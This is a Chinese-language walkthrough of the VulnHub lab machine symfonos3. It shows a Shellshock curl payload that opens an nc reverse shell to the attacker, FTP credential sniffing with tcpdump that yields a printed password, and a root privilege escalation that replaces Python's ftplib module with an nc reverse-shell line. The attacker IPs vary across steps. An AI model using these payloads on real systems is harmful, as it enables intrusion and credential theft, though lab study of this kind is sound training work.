前情提要:

靶机地址:https://www.vulnhub.com/entry/symfonos-31,332/ (需要梯子否则域名会跳转至别处)

kali地址:https://www.kali.org/get-kali/#kali-platforms (需要梯子)

靶机版本:symfonos3v2

kali版本:kali-linux-2023.3-vmware-amd64

虚拟机平台:VMware Workstation PRO 17

网卡模式:NAT

kali IP:192.168.85.196

靶机 IP:192.168.85.140

靶机介绍:

靶机概述

  • 难度:中等难度。

  • 发布时间:2019年7月20日,v3.1版本于2020年4月7日更新。

  • 设计目的:用于测试渗透测试人员的信息收集技能,模拟真实场景下的网络安全挑战。

靶机功能与用途

  • 信息收集与枚举:靶机主要用于测试渗透测试人员在信息收集和枚举方面的能力,要求测试者全面、细致地收集和分析目标系统的信息。

  • 漏洞利用与渗透:通过信息收集发现潜在的漏洞,如ShellShock(CVE-2014-6271)漏洞,利用该漏洞获取系统权限。

  • 权限提升:在获取初步权限后,进一步寻找系统中的权限提升机会,例如通过修改Python模块来实现提权。

  • 数据包嗅探与分析:利用FTP明文传输的特点,通过嗅探数据包获取敏感信息,如用户名和密码。

靶机特点

  • 真实场景模拟:模拟真实网络环境中的服务器,具有开放的常用端口(如21、22、80等),提供常见的网络服务。

  • 多阶段挑战:需要测试者逐步深入,从信息收集到漏洞利用,再到权限提升,每个阶段都有不同的挑战和知识点。

  • 技能综合运用:涉及多种网络安全技能的综合运用,如端口扫描、目录爆破、漏洞利用、数据包分析等。

常用工具与技术

  • 信息收集工具:如nmap用于端口扫描,dirbuster用于目录扫描。

  • 漏洞利用工具:如curl结合特定的请求头利用ShellShock漏洞。

  • 数据包分析工具:如tcpdump用于嗅探FTP数据包。

  • 权限提升技术:通过修改系统文件(如Python模块)来实现权限提升。

渗透开始:

信息收集:

目前已知目标靶机在局域网192.168.85.0/24网段,现在使用nmap工具对局域网进行扫描

打开控制台切换用户sudu su输入kali账户的密码,随后输入nmap 192.168.85.0/24 回车执行 . . . 等待 . . .

接下来使用-sS -sV -T4 -A -p-这些参数进一步扫描对方IP,输入nmap -sS -sV -T4 -A -p- 192.168.85.140

-sS进行TCP SYN扫描(半开扫描)

-sV启用服务版本检测

-T4设置扫描速度为侵略性模式

-A启用操作系统检测

-p-扫描所有端口

挖掘漏洞:

80端口开放运行的是http apache服务,我们使用Firefox访问一下IP地址,发现网站主页只有一张图片。

F12查看源码,发现有句注释信息 “<!-- Can you bust the underworld? -->” 翻译后 “你能摧毁地下世界吗?”

就这点信息怎么玩?不管了,先使用dirb工具扫描该网站下有没有敏感文件,输入dirb http://192.168.85.140扫描网站。

访问一下http://192.168.85.140/gate/看看,又是一张图。

好吧还是没有信息,我们换个工具吧,使用gobuster对网站gate目录进行扫描,看看有没有敏感文件,使用Kali自带的字典

gobuster dir -u http://192.168.85.140/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

???我靠,没有这个工具,使用apt install gobuster命令下载此工具,重新执行上一步命令。

访问看看,又是一张图片,没完了???

使用dirbuster工具再试试看,终端输入dirbuster 执行后会出现如下界面,填写并勾选相同信息后点击Start

通过扫描发现/cgi-bin/目录下的文件,通过访问这些文件,发现都执行了uptime命令。

通过上面可以分析出对方存在漏洞的CGI脚本路径,也就是/cgi-bin/underworld/ 路径,他们通过bash执行uptime命令,并将结果呈现在网页上说明这个命令一直在循环执行的,或者访问一次此路径下的php文件就会执行一次。现在通过围在特定的HTTP请求头来测试是否存在Shellshock漏洞。

验证漏洞:

CVE-2014-6271(Shellshock)介绍

漏洞概述

CVE-2014-6271,也被称为“Shellshock”或“破壳漏洞”,是GNU Bash shell中的一个严重安全漏洞。该漏洞允许远程攻击者在受影响的系统上执行任意代码。漏洞的根本原因在于Bash在处理环境变量中的函数定义时,会错误地执行函数定义后的多余字符串。

漏洞详情
  • 影响版本:GNU Bash 1.03到4.3版本。

  • 漏洞成因:当Bash处理环境变量中的函数定义时,如果函数定义后有额外的字符串,Bash会执行这些字符串中的命令。

  • 影响范围:广泛应用于Unix、Linux、Mac OS X等系统的Bash shell。许多网络服务和应用程序(如OpenSSH、Apache HTTP Server的mod_cgi和mod_cgid模块、DHCP客户端等)在处理用户输入时会调用Bash,因此这些服务和应用都可能受到此漏洞的影响。

漏洞利用
  • 利用方式:攻击者可以通过构造恶意的环境变量来触发此漏洞。例如,通过HTTP请求头、SSH连接、DHCP请求等方式传递恶意环境变量。

  • 示例curl -A " () { :;};echo;echo 123;" http://192.168.85.140/cgi-bin/underworld/

  • 如果输出中包含123,则表明系统存在此漏洞。

检测方法
  • 检查Bash版本:运行bash --version命令,检查Bash版本是否在受影响范围内。

  • 测试漏洞:使用上述示例命令进行测试,或者使用工具如Wfuzz来扫描Web服务器中的CGI脚本。

修复和缓解措施
  • 更新Bash:将Bash更新到4.4或更高版本,这些版本已经修复了此漏洞。

  • 应用补丁:对于无法立即更新的系统,应用相应的安全补丁。

  • 限制服务暴露:减少不必要的服务暴露,特别是那些可能调用Bash的服务。

  • 输入过滤:对用户输入进行严格过滤,避免传递恶意的环境变量。

验证方法一(不推荐,有些命令此工具无法支撑):

利用msfconsole,查找shellshock漏洞信息。

在前面的nmap扫描中靶机使用的是apache服务,所以这里选择apachemodcgi_bash_env_exec模块

设置对应参数,添加rhosts(目标IP地址)targeturi(目标服务器上的具体路径) 执行后发现不行,原来是我的地址自动填写成了桥接的IP地址,修改参数后重新执行。

验证方法二(推荐,缺点是没有tab补全和上键历史命令):

第二种方式是使用curl将bash命令作为特殊请求的User-Agent进行传递,实际上nc反弹shell的命令是由Bash执行的。首先,kali上使用nc监听端口;

此方法至少需要三个窗口,打开两个终端,其中一个定位用于监听的终端,之后我将其称之为 “监听终端(1/2)”,在监听终端的左上角点击File,点击New Tab新建窗口;另一个用于执行kali中的其他命令,之后我将称之为 “渗透终端”。

我们在监听终端1和2中分别输入监听命令nc -nlvp 1234nc -nlvp 2025

接着在渗透终端中输入curl -A "() { :; }; /bin/bash -c 'nc 192.168.85.139 1234 -e /bin/sh'" http://192.168.85.140/cgi-bin/underworld ,按Ctrl+C断开,将上个命令中的1234改为2025后重新执行。

查看监听终端1和2,如图:

输入whoamiid并执行,你要清楚自己是谁。

攻击漏洞:

是不是觉得有些奇怪?没事,如果你不能适应则输入并执行python -c 'import pty; pty.spawn("/bin/bash")' 这行命令的作用是通过 Python 的 pty 模块启动一个新的 Bash shell。这个命令通常用于在受限的环境中(如某些渗透测试场景)获取一个交互式的 shell 提示符。

监听终端1或2中输入并执行wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 靶机上不了外网的话,在真机上下载这个脚本,然后传到kali中,或是在kali中直接下载此脚本,在kali中搭建apache2服务apt install apache2,如果有apache2服务的话直接启动systemctl restart apache2,然后进入/var/www/html/路径下,下载pspy64,或真机上下载后传入此路径,最后修改或重新创建并覆盖index.html文件,使其网页上可以下载此脚本,然后再监听终端1或2中,切换至/tmp路径下输入wget http://192.168.85.139/pspy64

现在需要修改这个脚本的权限chmod 777 pspy64

很好现在使用这个工具看看,监听终端1或2输入./pspy64 -pf -c -i 1000

在这里发现ftpclient.py正在运行,而且UID=0,说明正在以root的身份运行,因为ftp协议是明文传输的,如果能抓到ftp的包,那就可以得到账号密码了。那么使用tcpdump工具抓取ftp连接的数据包,从而可以得到账户密码。

断开pspy工具后重新连接shell,使用tcpdump工具对靶机本机的lo网卡接口进行抓包,在监听终端1中切换至/tmp路径下,输入并执行tcpdump -i lo -w ftp.pcap 并等待1~2分钟左右,随后断开连接Ctrl+C,切换至监听终端2中切换至/tmp路径下,输入并执行ls -l查看当前目录下有没有ftp.pcap,并通过文件大小判断其是否有内容。

文件大小正常说明抓到数据了,输入python -m SimpleHTTPServer 7777 ,这是一个用于在运行该命令的机器上启动一个简单的 HTTP 服务器的命令,端口号为7777

切换回渗透终端,输入并执行wget http://192.168.85.140:7777/ftp.pcap

通过追踪TCP数据流,发现了账号和密码,账号:hades 密码:PTpZTfU4vxgzvRBE

账户提权:

很好接下来的事情就十分简单了,使用SSH远程登录上一步拿到的账户,断开之前的两个监听终端的shell窗口,只留其中一个窗口

账号:hades

密码:PTpZTfU4vxgzvRBE

ssh hades@192.168.85.140 远程登录靶机

通过之前pspy工具时发现的ftpclient.py脚本文件,尝试通过重新编写该脚本,进行提权。尝试编辑时发现无法编辑,该账户没有写的权限。可以查看代码。

查看hades对哪些文件有执行权限。发现在python2.7下有写入的权限。刚刚脚本文件中有引入ftplib模块,如果我们修改ftplib模块,那么脚本运行的时候就会执行我们写入的代码。在终端中输入并执行find / -writable -type d 2>/dev/null 这条命令的作用是查找系统中所有可写入的目录,并将错误信息重定向到 /dev/null 以忽略它们。

重新创建ftplib文件,并写入shell即可。在终端中输入并执行mv /usr/lib/python2.7/ftplib.py /usr/lib/python2.7/ftplib.py.bak

在输入并执行nano /usr/lib/python2.7/ftplib.py

import sys
import os
os.system("nc -e /bin/bash 192.168.109.131 6666")

脚本已经修改覆写完成,端口为6666,现在需要使用kali监听6666端口,切换至渗透终端输入并执行nc -lvvp 6666

账户提权成功,现在是root账户!!!

入侵成功

输入并执行cat proof.txt查看结算画面